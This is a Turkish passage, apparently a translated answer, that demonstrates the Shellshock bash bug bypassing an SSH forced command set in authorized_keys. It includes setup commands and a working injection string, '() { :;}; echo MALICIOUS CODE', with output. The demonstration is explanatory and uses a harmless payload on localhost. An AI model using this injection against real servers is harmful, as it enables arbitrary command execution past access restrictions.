Bunun istismar edilebileceği bir örnek, authorized_keys
zorunlu bir komutu olan sunuculardadır . Bir giriş eklerken , ssh public anahtarının kullanıldığı herhangi bir zamanda çalıştırılmaya zorlamak için ~/.ssh/authorized_keys
satırın önekini ekleyebilirsiniz . Bu istismarla, hedef kullanıcının kabuğuna ayarlanmışsa , zorla çalıştırdıkları komuttan başka şeyler çalıştırmak için istismardan yararlanabilirler.command="foo"
foo
bash
Bu muhtemelen örnek olarak daha anlamlı olur, bu yüzden burada bir örnek:
sudo useradd -d /testuser -s /bin/bash testuser
sudo mkdir -p /testuser/.ssh
sudo sh -c "echo command=\\\"echo starting sleep; sleep 1\\\" $(cat ~/.ssh/id_rsa.pub) > /testuser/.ssh/authorized_keys"
sudo chown -R testuser /testuser
Burada testuser
, çalıştırmak için ssh anahtarınızı kullanarak herhangi bir ssh bağlantısını zorlayan bir kullanıcı ayarladık echo starting sleep; sleep 1
.
Bunu şu şekilde test edebiliriz:
$ ssh testuser@localhost echo something else
starting sleep
Bizim nasıl kaçamayacağımıza dikkat edin echo something else
, ama starting sleep
zorunlu komutun çalıştığını gösterir.
Şimdi bu istismarın nasıl kullanılabileceğini gösterelim:
$ ssh testuser@localhost '() { :;}; echo MALICIOUS CODE'
MALICIOUS CODE
starting sleep
Bu sshd
, SSH_ORIGINAL_COMMAND
ortam değişkenini iletilen komuta ayarladığı için çalışır . Bu yüzden sshd
koştum bile sleep
, söylediğim komutu kullanmamam, kötüye kullanım yüzünden kodum hala çalıştırılıyor.